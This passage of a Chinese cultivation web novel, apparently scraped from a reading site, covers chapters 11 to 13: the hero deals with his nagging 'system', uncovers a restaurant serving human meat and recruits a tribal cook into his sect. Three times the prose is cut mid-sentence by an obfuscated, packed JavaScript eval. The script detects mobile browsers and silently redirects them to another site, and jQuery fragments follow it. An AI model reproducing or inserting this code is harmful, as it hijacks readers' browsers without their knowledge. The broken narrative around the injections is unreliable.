“……严兄?” 严文洲无奈一笑,状似苦恼道:“我与钟兄有缘,难道这不是理由么?”话说了一半,他就眼疾手快地捻起卡在瓜子碟边上琉璃珠强行塞到了钟慎手里。 猝不及防之下,钟慎瞪着眼,神魂被拉进了传承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037418|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠中。 咚——脑袋重重地一磕,他宛若骤然折腰的黄豆芽,半身趴伏在了桌面上。 严文洲舒畅地叹了一声,给自己到了盅茶润润嗓子。这多快,有那磨磨唧唧的功夫,珠子里那残魂都能检验完候选人质量了。道统传承这种事,总不能在茶馆酒肆里进行吧?一不留神就泄了底,反倒是这种鱼龙混杂又隐秘性绝佳的地方最好。 至于客栈,难道两个男人去客栈开一间房么? 等待的功夫,他翻起了支线任务栏,在最下方找到一条有关太易宗的: 太易宗掌门最近很苦恼,请赶紧找到他并做一些力所能及的事帮助他吧! 在一众详尽的任务描述中,这份任务显得十分朴实无华,以至于严文洲一眼就相中它了。 “统兄,这是个什么,怎么任务目标都模糊不清的?” “该任务无具体指引,请宿主自行探索。” “……那奖励呢?” “为避免宿主产生畏难情绪,支线任务的奖励是在接取任务之后才能显示的哦~” 严文洲已经探索出了,每当系统不想回答的时候,就会以一种半死不活的声音来糊弄他,可要是系统有事相求,那声音便又是另一种谄媚了。 “那就它好了。” 灵台里的金光顿时闪个不停,最后一个任务框像是做了飞剑一般直窜上支线任务栏第一,就连统一的金色边框都多了几分鲜艳的红色。 “任务接取成功,奖励以揭晓!当当当——一千块上品灵石!啊啊啊!?这么肥!!” 系统的声音陡然变调,尖锐得能把天穹戳出一个窟窿。别说这破烂分魂,严文洲都吃了一惊,太清宗练气期弟子的月例是二十块下品灵石,筑基期涨到二百块下品灵石,要到金丹期,中品灵石才成为常态。 太易宗全宗上下加起来都不知道有没有一千块上品灵石的身家! 自己这便宜师尊是个什么来路,难不成也自带大气运? 严文洲开玩笑似的问了一句,系统却又安静了下去,许久才道:“嘀——权限不足。” 声音死板,多半是真的。 那么,杜衡身上一定有大秘密。 严文洲吊儿郎当地往椅背上一靠,脚尖点地,轻轻一推,把普普通通一把椅子做出了摇椅的效果。 琵琶换了箜篌,箜篌又换了唢呐。 严文洲听得稀奇,不由张望了一眼,照旧掩盖了容貌。不过瞧这位音修的架势是极好的,相比对战之时,一见他手里的唢呐,对方就能气得半死了。 自顾自笑了一阵,半趴着的傻小子终于醒了过来,茫茫然直起身看了会儿,眼神才渐渐聚焦。 严文洲看这人面上不像是得了道统的喜色,心里的八分把握骤降成了三分,“钟兄,如何了?” 钟慎眼神躲闪,支支吾吾了好一阵才慢慢道:“前辈,嗯,前辈问你近况如何,我都照实说了,然后……” 严文洲听得着急,心里生出些不妙的感觉,下一秒,只听钟慎继续道:“然后就醒了。” 若是旁的情况,那自然意味着江家那位前辈没看上钟慎,可系统先前百般创造机会,结果就这!? 严文洲一边给系统紧急送了道心音过去,一边放平了椅子,正色道:“钟兄,那位前辈当真只说了这么点?” 自然不是。 钟慎犹豫再三,清澈的大眼睛里逐渐露出些许歉意,“严兄,我照实说了你可别生气。” 严文洲微微一笑,“自然不会。” 得了保证,钟慎却没有丝毫放松,猛地垂了头飞速道:“前辈说,那姓严的小子这么快就死了么?白长了一副好皮相,真是没用!” 严文洲的微笑,裂了。 11. 来来去去 黄品零零三号包厢内的安静只持续了片刻,钟慎很快便见到桌子斜对面的青年露出一副困惑难言的神色。 眉心微蹙,桃花眼稍稍眯了起来,似乎在努力回想,嘴角的微笑也消失不见,取而代之的是平而直的线条。霜雪似的衣袍映衬下,他看起来甚至有些无助。 钟慎欲言又止,最终还是忍不住开口道:“严兄,你是不是又忘了?”一边说着,一边又忍不住叹息:严兄哪里都好,只是这脑袋的毛病实在要命,果然还是要努力修行,说不定将来就能把严兄治好了! “唔,可能是吧,”严文洲迷茫地点点头,像是才反应过来一样,困惑道,“前辈的意思难道是说,他已然选了我?” 钟慎重重点头,“前辈还说,不要再去烦他了。” 正巧,系统的心音也响了起来:“啊啊啊,肯定都怪你!要不是你直接进了传承珠,他一定会选钟慎的!完了完了,将来可怎么办啊?!” 严文洲送出一道笑音:“没有对比就没有伤害是么?将来的事……” “啊啊啊——主线任务失败,我要制裁你!” 系统明显狂暴了,尖叫声还在耳边盘旋,熟悉的剧痛就蔓延上了脊背,严文洲脸色陡然一白,手里的茶盏哐啷一声碎在地上。 比先前筑基后的那一次要痛上许多,一时间,他只觉得如天雷加身一般,灵气在血肉内溃散,新伤口很快愈合却又再次破裂,筋骨像是被捆住了,完全不能动弹。 “严兄!严兄!你、你怎么了……” 可不知是触发了什么机制,钟慎的惊呼变得十分遥远的同时,严文洲也陡然想起了一些零散的片段—— 尸山血海。 残肢、断臂,滚落的人头……无处可以落脚。门窗破碎,桌椅凌乱,悬在大堂内的匾额只剩下一小半,凝固的血液掩盖了曾经的字迹,一切都无法辨认。 还有一柄寒光凛凛的长刀。 即便是横在血泊之中,刀身上也没有沾染上半点脏污,银亮如山巅雪,天上月。 有人疾驰而来,停下的瞬间便往后退了十来尺,而后再度上前,这一次便祭出了法器。 煌煌金钟猛地砸到身上。 那人说…… 电光火石间,严文洲清醒过来,“无事,只是想起了一些东西。” 背后冰凉一片,已然汗湿,他不习惯地皱了皱眉,继续道:“是为兄的不是,方才才想到,那位前辈先前确实和我说过几句话,也不知怎么的,竟然弄糊涂了。” 与此同时,他给系统送了道冷冰冰的心音,“你哪只眼看见任务失败了?” 钟慎疯狂摇头,“没事没事!严兄你这毛病一向如此么?我原以为只是记不清事,怎么还愈发吓人了,筑基也不曾有所助益么?” 回想起自己先前随口编的瞎话,严文洲惨白着脸给自己找补,“筑基之后还是好些了的,许是修为还不够精进的缘故。” 没给这傻小子继续叨念的时间,他飞快地刻下一枚玉简递过去,“钟兄,你已入了太清宗,为兄身无长物,这东西权且做贺礼吧。” 钟慎一看玉简便明白了什么,顿时面露踌躇之色,“这、这不好吧?” “钟兄放心好了,不过是一门先前偶得的刀法而已,并非传承中所载法诀。” 钟慎犹豫再三,看着严文洲态度十分坚决的模样,又想想自己会的攻击术法林林总总加起来也不过三门,便一咬牙接了过来。而后,站起身,扑通一声跪了下去,“严兄大恩大德钟某无以回报,若有……” 膝盖咚在地板上的声音实在扎实,严文洲直听得面皮一抽,立刻伸手把钟慎提溜了起来,“行了行了,这有什么的,叫我一声大哥就好了。” 钟慎眼泪汪汪,“大哥!” 严文洲听得舒心,不由逗他,“再叫一声?” “大哥!!” “再叫一声?” “……大哥,你怎么又逗我。”钟慎委屈巴巴地坐下,眼神充满谴责。 严文洲笑眯眯地看着,被系统莫名其妙捣乱破坏的心情逐渐回升。这傻小子,虽然怯懦窝囊了一点,但品行还是相当不错的,摸爬滚打几番,将来未必不能成器。 太清宗给弟子们的时间有限,今日便是最后一天了,在平乐坊消磨了半天,时间也差不多。横跨飞仙城的长虹再度出现,但这一次不是为了选拔,而是为了送今年新入门的弟子入太清宗。 目送着钟慎在太清宗弟子面前核验过身份,身影消失在长虹中,严文洲转身,在不远处找到了陶乐。 看样子,有缘人还是没来。 他抬脚朝那边走去,还不耽误一点功夫地送出一道理直气壮的心音:“统兄你看,任务完成了吧?我要赔偿!” “……啊,嗯,对完成了,”系统的声音透着股心虚,不过很快,它就再度启用了那十分难听的死水般的音调,“奖励是一棵地阶灵草的位置,详细地点请在任务框下方查看。该灵草暂无灵兽守护,请宿主尽快收取。” “堂堂大能分魂,就这么草菅人命?要不是我皮糙肉厚,刚刚那一下不得落下什么暗伤么?别人也就算了,你在我这儿住了这么久,怎么对我一点信任都没有!?再说了,先前可是你打包票那傻小子能拿到江家传承的,这回可是你预测失败,关我什么事?我还给你善后了呢!赔偿!” 系统听着一连串既委屈,又振振有词的心音,脑袋都快大了,要不是现下没有人身,恐怕早已出了身冷汗,许久才冒出一句:“嘀——权、权限不足。” 严文洲听得笑了。 系统也不装了,“那你想要怎么样嘛!?我就孤零零一片分魂,能赔你什么?” “灵石、灵草、法器,什么都行,怎么就不能赔了?” 说话的功夫,严文洲已然一屁股坐在了陶乐的摊位后,而堂堂太易宗浣花峰峰主居然在这种情况下睡着了。 雷鸣般的鼾声在身边一起一伏,煞是有节奏,听了一会儿,他没等来有缘人,倒是等来了系统的回音:“那好吧,飞仙城一家典当铺里有一柄地阶古刀,这个消息作为赔偿怎么样?不过它的品阶对你来说有些高了,但用是肯定能用的!” “成交。” 系统长舒一口气,忽然又有了种被忽悠了的感觉。 另一边,陶乐悠悠转醒,伸了个懒腰便道:“师叔你终于回来了,我还当今夜要一个人回去了呢,在平乐坊逍遥了半日,可还快活?” 严文洲抬手嗅了嗅,果然闻到了一股微妙的甜香,便笑道:“自然快活,看样子,峰主也是平乐坊常客?” 陶乐连忙摆手,“哪有的事,不过是有个老友正好是音修罢了。” 严文洲笑而不语。 陶乐一脸真诚地叹了口气,摸了摸自己滚圆的肚皮道:“师叔,天色晚了,不如先去吃点再回去?” 严文洲自然点头。 下一刻,他就看见老道士环顾了一圈,选中了街对面招牌最华丽的一家,“早就听闻那家的芙蓉肘子在飞仙城中无出其右,不如就它?” 顿了顿,老道士扭头看向严文洲,脸上唏嘘里掺着点惭愧,“唉,说起来也真是怪臊的,我堂堂一个金丹修士,囊中却空空如也,按理说,应该给师叔点贺礼的,但翻来翻去也没有什么拿得出手的东西,不如就吃一顿吧?我请!” 严文洲定睛一看,锦绣酒楼。 这不是被系统定为极为危险的那个支线任务么? 挺好的,吃一顿说不定还能顺道完成任务。 天光渐暗之时,长街上的人流肉眼可见地变多起来。东城平乐坊,一天的重头戏这才开始。 笙歌不歇,六边形的中央舞台缓缓上升,每一边都延伸出了一角莲花形舞台,连同中央舞台一起组成了一朵盛开在平乐坊内部的巨大莲花。半空中,半透明水镜沿着莲花不断盘旋,一旦被包厢中的客人摄走一面,便立刻有新的水镜补充。 虽然外表不显,但平乐坊的的确确是飞仙城中数一数二的逍遥圣地。 眼下上了灯,白日里寥落的大门口顿时多了许多人。 “这难道就是机关偃术?居然用在这种地方!”一男子指着平乐坊门口正鞠躬作揖的人偶惊道。 “正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037419|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平乐坊特色也,”同行者摇头晃脑地念叨着,“温兄,今日夜场可是难得一见的盛会呢,快进快进,别耽误了时辰。” 男子被拉着走了却仍是念念不忘地扭头看,只觉门口那人偶面目栩栩如生,除了行动处略有滞涩之感,便无其他人工痕迹,当真是巧夺天工! “那人偶……”他回头刚想说些什么,面前却飘然飞过一位持笛的白衣乐修,以一种十分悠然的速度环绕他了半圈便骤然拔高,朝莲花台上飞去。 一惊之下,到了嘴边的话陡然变了调儿,“那美人,多少灵石一夜?” 同行人大惊失色,连忙示意这人噤声,“你想不开啦?这里可都是南楼的人!别动什么歪脑筋!” 顿了顿,他正色道:“温兄,不是我吓唬你,此处伶人可都是实实在在的修士,修的还都是诡道,事关神魂可轻易不得一点!私下相好是一回事,其他的又是另一回事,上一个想用强的修士,可是直接被琴弦戳破了灵台,他的靠山可不必温兄你的差!” 看这人不情不愿地点了点头,他才松手。 刚放下,姓温的却傲然道:“此处可是飞仙城,太清宗属地,难道还能把我怎么样了么?!南楼虽强,到底还是些不入流的杂修,比起太清正道还是差太远了!若不然,怎么净都是这些不入流的勾当!” 同行人脸上的笑挂不住了,心中后悔不迭,正要拉着人立刻进包厢,身边这位靠山势力数一数二,自身资质也可津津乐道一番的修多代便又开了口:“那位美人儿是谁?也是南楼的人?” 顺着眼神看过去,同行人不禁也露出了一瞬间的痴迷,“……脸生,没见过。” 修多代眯了眯眼,便走了过去。同行人原想阻止,但既然那位美人儿不过才筑基修为,加上先前几番阻止恐怕也搅了这位公子爷的性子,便也由着他去了。到底是世家里骄纵出来的性子,那叫一个难伺候! 冷眼旁观了一阵,本以为姓温的即便不能凭着家世和脸手到擒来,也不会闹到太僵,可不过是一错眼,两人便消失在了眼前。 他眼神一凝,身形骤然飞掠了过去,只一瞬便意识到自己中计了,可已经来不及了。周围水镜一时翻了两番,遮得人影都看不见,只有中间两个当事人。 那美人儿哪里是什么筑基修士,分明是个威势比元婴修士还要恐怖的老妖怪! 司白河本就因为万里外那盏要死不活亮着的命灯心烦,人撞上来时还以为今晚会多个脸蛋漂亮的玩物,谁曾想却是金玉其外败絮其中,便立刻翻了脸。 正打算将这人丢出去,却又跑来一个,而且……他伸手将那人摄了过来,将人翻来覆去颠了几回,见此人周身不由自主地飘出些许红色气劲便立刻嫌弃地松手,“修罗门的人,怎么混进来的?城门口那么大一块儿青天明镜是坏了么?” 水镜中陡然生出一片影子,一眨眼便膨胀出个面目模糊的人形。 “明面上是清风派的人。” 司白河讥笑一声,“呦,还是个钉子,修罗门能耐倒是挺大的,居然能在清风派里面安插人手。那另外那个呢?” “三都山温家的,现下是要直接入太清宗内门做弟子去了。” “呵,温家也真是好运气,真以为姓一个姓明朔剑尊就看得上他们么?!” 他随手将两个废物丢给影子,自己扭头钻进了水镜中,再一步跨出时,已是一间布满禁制的屋子。支着脑袋想了半天今天一早碰上的那个修士,他叹了口气,还是启动了随身携带的玉简状法器。 水雾中,一个面无表情的男人出现,眼下两道青黑十分显眼。 “命灯还亮着么?” 对方疲惫地点了点头,没说话。 “带着彷徨刀来飞仙城一趟。” 对方反应了一会儿,像是意识到了什么,陡然睁大了眼,“你是说……” 司白河连忙做了个噤声的手势,“另外,修罗门的人已经渗透到飞仙城了,一路小……” 话没说完,头顶便传来一声雷鸣般的大喝:“太清稽查,明光万丈,平乐坊疑似窝藏邪修,所有人不得擅动!” 12. 你与我们甚是有缘 锦绣酒楼的情况并没有比平乐坊更好一点。 太清宗的金甲卫不知发了什么疯,直达太清宗的长虹刚消失,这群金灿灿的修士就在飞仙城上空落了一大片,而后便开始大肆搜查。 本来这倒也没什么,毕竟选仙天梯断了可不是小事,早来晚来迟早有这么一回。 飞仙城隶属于太清宗,玄甲卫的晋升便是朝着金甲卫去的,便是寻常时候,金甲卫也会来巡查。作为太清宗外门的一大杀器,金甲卫不过是杀戮气重些,到底还是上仙门的正经修士,若是心中无愧,自然也不怕他们查。 可谁让这锦绣酒楼偏偏就有问题呢! 严文洲怎么也没想到,驰名飞仙城的芙蓉肘子居然有一味重要配料是人肉。 幸亏来得晚。 太易宗这位浣花峰主,当真是老饕,一道芙蓉肘子尝了三口,便报出了一溜儿配料,只是吃来吃去都觉得缺了点什么,当不起那鼎鼎大名。 要是平常,严文洲多半只觉得又是个名不副实的玩意儿,但既然系统都发了支线任务,他便撺掇起了陶乐,又借着跑堂的之口点出了锦绣酒楼刚换了厨子,成功把他忽悠进了后厨找新厨子问了个底儿朝天。 放眼四洲,能干的出来这种事情的也只有邪修。 他仔细琢磨了刹那,觉得那远走他乡的老厨子比邪修还要瘆人——邪修做多就是刨坟掘墓,可不会把掺了料的东西当作佳肴卖给其他修士。 唉,飞仙城这治安也不怎么样啊。 “……当、真!?”陶乐犹自不死心,胖乎乎的脸上两颊肉颤巍巍的,眼珠子红得像是走火入魔,揪着新厨子的架势几乎要将这人的头拧下来,“你可别蒙我,你爷爷我吃的盐比你吃的辟谷丹还要多,要是被我发现了有问题,你小子吃不了兜着走!” 严文洲扫开袖子上沾上的不知名粉末,有些惊异。老道士看着和气,听这话也像是有一番过往的人。难不成,之前是做绿林好汉的? 只有陶乐一半厚度、一半宽度的新厨子显然也没料到眼前貌不惊人的修士能露出如此骇人的表情,吓得面色惨白,歇了一会儿才扯着嗓子喊道:“我怎么知道!?我又没吃过!反正菜谱上是这么写的!你要是有本事,你去把我那狗屁师傅找回来当面对质啊!” 别的不说,这话喊得倒是声嘶力竭,不知道的还以为那位狗屁师傅和这小伙儿有什么深仇大恨呢。 严文洲不由给了一个微妙的笑。 陶乐脸色一沉,手指关节摩擦出不祥的声音,“要是让我找到那邪修,定然饶不了他!” 新厨子同样面露仇恨之色。 严文洲看得稀奇,“怎么,你要向你师傅寻仇?” 新厨子呸一声,“那老货教了我三天就丢下一本菜谱跑了,喊声师傅都算是高抬他了!我算是明白了,他哪是真心想收徒,他那是想找个人混淆视听帮他顶缸!” 陶乐动作一顿,松开了他。 严文洲听得直摇头,悄无声息地戳了戳寄居在灵台里的那片分魂,“统兄,这任务算是完成了吧?” “唔……” 话音没落,身形瘦小的新厨子便抄起手边的砍骨刀,朝严文洲砍来。 柿子还是得挑软的捏啊。严文洲叹了一声,灵活地往前一闪,避开了还沾着不知名血迹的砍骨刀,随手拎起菜墩子往后一甩。 咚——四分五裂,木屑飞扬。棕色雪花中,陡然出现一道寒光,直奔厨子面门。只听锵一声,薄溜溜的长剑便架住了厚重的砍骨刀,两厢角力下,长剑表面忽地出现一道裂纹。 严文洲一脸委屈,“你一个筑基大圆满打我一个筑基初期,不妥吧。” 厨子并不答话,攻势愈发凌厉,周身也冒出丝缕般的红色气劲。 也是,四周都被陶乐封住了,总得挟持一个才有点希望吧。 既然对方如此着急,严文洲便也只好地迎了上去。后厨不是个打架的好地方,地方小不说,东西还多,不过几个来回,零零碎碎的东西便散了一地,面粉与辣椒齐飞,血块与鲜果共舞。 扬起的尘埃中,青年身形愈发矫健,手里一柄长剑使得大开大合,与其说是剑,不如说是刀。 严文洲抽空给缩在角落里当萝卜的陶乐当送去一个求救的眼神,“峰主,再不出手我可就要重新投胎了!” 陶乐嘿嘿一笑,给了一个“我相信你能行”的热烈眼神。 嚓—— 和砍骨刀对砍了数次的长剑终于不幸牺牲了。 严文洲佯装大惊失色,赤手空拳扔了几道法诀,手里忽然多了一道几近于透明的狭长影子,欺身而上的瞬间便砍断了厨子持刀的右手,紧接着绸缎般弯折过一个不可思议的角度,长影穿胸而过。 一切只在眨眼之间,随着两声沉闷的重击,浓重的血腥气立刻弥散开来,厨子连人带刀倒成了一片艳丽的血泊。 严文洲用脚尖踢了踢砍骨刀,朝厨子笑眯眯道:“道友,你这刀不错啊。” 也不知那薄刃似的刀上有什么,也算是身经百战过的厨子此时已然痛得连怒目而视的力气都没有了。 咚咚—— 象征性的敲门声只响了两下,金甲卫立刻一点没废话地涌了进来,“何人在此生事!?” 刹那间,严文洲已然捂着心口软倒在了窗边。 “邪修!此处有邪修!”陶乐一个箭步冲到了严文洲身边,满脸焦急,还不忘扭头跟金甲卫告状。 厨子看得气急攻心,狠狠吐了口血。 现场形势一目了然,为首的金甲卫抬脚便向厨子走去,声音冷硬地问道:“修罗门的人?” 厨子:“……放屁!” 陶乐一边扶着严文洲,一边绘声绘色地讲了一遍方才的事,只说是自己来晚了一步,拍着大腿后悔不迭的样子看得严文洲自己都快信了。 金甲卫一言不发地听完了,只点了点头便拎着厨子走人。眨眼的功夫,偌大后厨便只剩下太易宗的两人了。 严文洲也不装了,起身给自己使了个除尘咒,便朝陶乐拱了拱手,真诚道:“峰主好演技。” 陶乐乐呵呵地摇了摇头,“彼此彼此,师叔一手刀法真是令人难忘。” 相视一笑,一切尽在不言中。 忙活了一天,如今就站在一片狼藉的后厨,陶乐左右看了一圈,十分忧伤,“时候不早了,这段饭吃得实在不尽兴,早知道便去平乐坊了,师叔啊,我与你说,平乐坊这地方还是夜里有意思……” 严文洲愈发觉得,太易宗着实是个很妙的门派。虽然弟子一只手都数得过来,但三位峰主活像是从太清宗专供祖宗们清修的后山里跑出来的。便宜师尊就不说了,化神期的医修所说不像炼虚期修士那般少见,但也十分难得,而这位浣花峰峰主修为虽然最弱,但隐匿气息堪比…… 堪比什么呢? 他怔愣了一下,眼前迅速划过一道身影,倏忽而逝。 “嘀——任务已完成,本次奖励共150枚下品灵石,因宿主等级与任务目标相差过大,额外奖励75枚下品灵石,共计225枚,请前往飞仙城南门口第一家赌场及时收取。” “嘀——系统提示,奖励暂存场所有一定危险性,且会对宿主心理健康及财产安全产生一定危害性,请宿主切勿有侥幸心理,收取完奖励后立即撤离。” “嘀——一切额外行动造成的人身及财产伤害,本系统概不负责。” 严文洲骤然回神,有些不满,“统兄,不如打个商量,下次别在我想事情的时候出声可以么?” “……行吧,我以后改成任务框里无声显示模式。” 下一刻,灵台里金里带红的任务框果然变了颜色,方才补充的一连串注意事项出现在了任务详情下方。 系统难得这么配合,严文洲不禁回忆了一下自己今天都做了什么,随即冷笑。 破烂不堪的门又开了,吱呀一声听来发酸,他扭头看过去,门口站着一个…… 严文洲陡然瞪大眼,不由回身细细看去。此人修为倒是不高,才练气,只是身量极高,约莫能有七尺,把门口堵得十分严实,身上只系了下裙,发达遒劲的肌肉就这么赤条条地坦露在外,其上布满青红色的纹身,看上去眼花缭乱的。 这是,体修? 陶乐也惊呆了,傻愣愣地看着这人不说话,还是对方先开口:“你、你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037420|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们两个,抢劫!?” 严文洲的眼神一下就有些怜惜了——看着人高马大的,也是个傻的,后厨有什么好抢的?再说他一个小小练气,真碰上抢劫不得赶紧跑么? “不,我们只是太饿了的食客,过来看看有什么吃的而已。” 陶乐瞥了一眼严文洲,立刻配合地大声叹气,“欸,你看老道这肚子都要瘪了。” 圆滚滚的将军肚配合地抖了两下。 对方左看右看,神色居然像是信了,“既然饿了,那便得吃东西,看你们也不像是会做饭的样子,这里剩下的食材也还算多,不如我来做一顿?” 顿了顿,他又搜罗着食材,唉声叹气地补充道:“我也是锦绣酒楼的厨子来着,只是师傅老是不让我动手,听他们说师傅被抓走了,我便来看看有没有机会……” 严文洲又是一惊,身边的陶乐便已经点头如捣蒜,一副十分兴奋的模样,见他看过来还给了一道传音:“师侄,听我的,这人定然身负神技,做出来的菜肴绝不会难吃!我以我浣花峰主的名义保证!” 既然这么说,他也不好再说什么了。 严文洲自诩是个文雅人,看二号傻小子光着上半身在眼前晃着实有些难受,虽说有纹身遮盖,但该有的弧度却一点不少,甚至可能还更明显一点。 本着眼不见为净的原则,他直接扭头,看起了窗外的风景。 半炷香之后,劈里啪啦的油爆声中掺进了一道叹息,“金甲卫稽查什么时候用上哨子了,还不带停的,飞仙城是藏了多少奸细啊。” 光明正大偷师的陶乐终于分了一个眼神过来,“哪有哨声?我怎么没听见?” 二号傻小子自来熟地跟了一句:“有哨声么?莫不是风声?” 不是风声,就是忽高忽低的哨音。 严文洲一怔,意识到自己居然幻听了。 下一刻,画面慢一拍地蜂拥而至——遮天蔽日的林子、眼珠发红、口角滴涎的妖兽,还有从成群身裹兽皮的巨人…… 严文洲不知道自己为什么知道,那些古怪的画面就像是凭空出现在了他脑子里一样,可他又敏锐地感知到,这不是留影石里记载的画面,这是他亲眼见过的东西。 曾经的他。 “你是出自中域么?” 二号傻小子行云流水般的颠勺陡然出现了半拍停顿,滚烫的肉丁撒了小半在他手臂上,他却根本没管,咚一声放下了锅便惊道:“道、道友,你、你是怎么知道的?我就不能是西域的人么?” 严文洲摇头,喃喃道:“你确实出自中域。” 似乎被打开了一个开关,他一下想起了更多的事。目光微闪,他开玩笑似的向目光灼灼的两人一笑,“万一,我也是中域人呢?” 二号傻小子打量了一眼,很肯定地摇头,“不可能,中域部族里没有这么矮的。” 角度清奇,言之有理。 严文洲虽说身量在普通人中已是拔尖的了,但放在中域那群野人里估计还没有半大小孩儿高。他沉默了一瞬,果断地转移了话题,“道友,你身上的纹身可是部族图腾?” “是啊,道友好眼力。”隐约的焦糊味散开,傻小子大惊失色,立刻扭头紧急处理起来。 身边,陶乐眼珠子滴溜溜转了一会儿,终究没按捺住好奇,故作夸张地问道:“师叔,你莫非还去过中域?” 严文洲指了指脑子,长吁短叹,“许是去过吧。” 见他不愿多谈,陶乐便也不再问,再度专心致志地盯起了二号傻小子,似乎要将每一个动作都记下来。 这位从中域远道而来的朋友果真如陶乐所料,烧得一手好菜,尤其是各色肉类,料理得那叫一个恰到好处,严文洲一开始还矜持着吃得慢条斯理,后来眼看着要跟不上陶乐的速度了,便也不再顾忌风度。 阿钦,也就是二号傻小子却不怎么动,“欸,这里的肉太次了,要是家乡也有这里的材料的话,肯定比这里好吃上好几倍!” 闻言,还在大快朵颐的陶乐动作一顿,擦了擦嘴便双手执起了阿钦的手,盯着阿钦的眼神亮得可怕,“小友,我觉得你与我们甚是有缘,不如加入我们太易宗?” 13. 天机在动不在静 在陶乐“食材管够,厨具我来,你只管烧”的保证下,阿钦飞快地收拾了包袱,跟着他们一起上了飞剑,回了太易宗。 至于锦绣酒楼,大概飞仙城里今后再也不会有这么一家酒楼了。作为修罗门的据点之一,酒楼里上至掌柜、下至跑堂的,都是由修罗门的弟子假扮而成,大概只有那个邪修老厨子、小徒弟以及中域野人是唯三的局外人。 在金甲卫顺着天梯断裂的线索将锦绣酒楼一锅端了后,飞仙城很快在有心人的推动下流传出了“真相”——修罗门弟子以人肉修炼邪法,还把废品做成菜卖给广大无辜群众! 一时间,修罗门在南洲人人喊打,就连在魔修和仙修能分庭抗礼的东洲也得不到半个好眼色,但凡提起便恨不得啐一口去去晦气。 要知道,魔修也是有底线的! 像这种食人的败类,人人得而诛之! 很长一段时间里,修罗门门主的脸色都是铁青的,跟隔壁修尸道的夜游宫弟子有得一拼。 至于菜谱里那味罔顾人伦的配料是不是必须的,阿钦和陶乐在埋头钻研过几天几夜后,一致认为那只是个噱头。 “天之道,损有余而补不足;人之道,损不足而益有余。”老道士摇头晃脑地念叨着,胡子因为太久没有打理已有半尺长,配着一身打补丁的朴素道袍,看着很像是那么回事儿。 阿钦落在菜谱上的笔陡然停了,他思索了一会儿,扑闪着大眼睛低头问道:“峰主,这是什么意思啊?” 陶乐抚着胡子长叹一声,熟练地招招手,示意阿钦蹲下来,摸出一根玉简塞给他,眼神堪称慈爱地讲解起来。 严文洲看得直摇头,放下手里还温热着的野猪,转身去主峰点卯。 自从阿钦正式拜入太易宗,系统的日常任务栏里就悄然多了一条:“背井离乡来到南洲的少年需要得到足够的关心爱护,阿钦每天一定要吃肉,请帮助他获得足够的肉类吧!奖励,灵兽骨肉若干(隐藏奖励:温暖的食物)。” 这位从中域千里迢迢跑来飞仙城的少年确实是体修,而且还是坚决拒绝辟谷丹的讲究体修,更恐怖的是他还处在长身体的阶段,入门三个月,严文洲便眼睁睁地看着他又窜了一节,仿佛是什么品种特殊的人一样。 至于为什么脱离部族,又为什么出现在锦绣酒楼,阿钦说得含糊其辞,差点就掉下几滴豆大的泪水来,不过想来也不是什么高兴事。 于是,太易宗又多了一个可怜人。 鉴于黄时雨、李长安一个是杜衡捡到的孤儿,一个是李青云捡到的孤儿,严文洲自己又不知来处不知去处的,太易宗上下没一个是全乎人,这三个山头基本上变成了畸零人的聚居地了。 太玄主峰上,杜衡照常在给仙像描金绘彩。 严文洲入门的时候便见他在做这活计了,一连做了三个月,进度微不可见,说得好听点那叫细致,说得直白点就是磨洋工。 要想靠他把仙像,乃至是整个主殿修好,恐怕得等上千年。 严文洲进了主殿,也不急,慢悠悠地停在了仙像脚下等着。头一回没摸清的时候,他贸然出声,色料盘便当空砸了下来,要不是他躲得快,恐怕青丝就变五彩丝了。 几个呼吸的功夫,杜衡便注意到了他,悠然飘了下来。衣带当风,飘然若仙,瞬间便将边上的仙像衬托成了俗世泥人。 有什么好修的,自个儿往台子上一站不是更好么?严文洲大不敬地想着。 脚刚沾地,这位不似凡尘中人的太易宗掌门便睁大了眼,惊道:“徒儿,你到筑基中期了?我都没怎么教过你……” 饶是严文洲藏了一肚子花言巧语,此时也有些接不上,许久才谦虚道:“不过是一个小境界,算不得什么。” 杜衡不知想到了什么,认同地点了点头,眼神很快又变得十分怜惜,“徒儿,委屈你了日日都这么忙还能顾得上修炼。这些日子多亏了你,要不然黄时雨他们恐怕要忙不过来了。我听师妹说,灵田这一季大丰收,陶峰主也说你每天都会给阿钦带许多猎物来,节省了好大一笔开支。” 严文洲忍不住泼冷水,“师尊,旁的倒是没什么,只是,以阿钦的食量,恐怕不出十年,这附近就没有除人以外的活物了。” 闻言,杜衡也忧愁地叹了口气,扳着手指算了好一阵忽然求证似的看向严文洲,“十年应该够筑基了吧?” “……约莫是够了。” 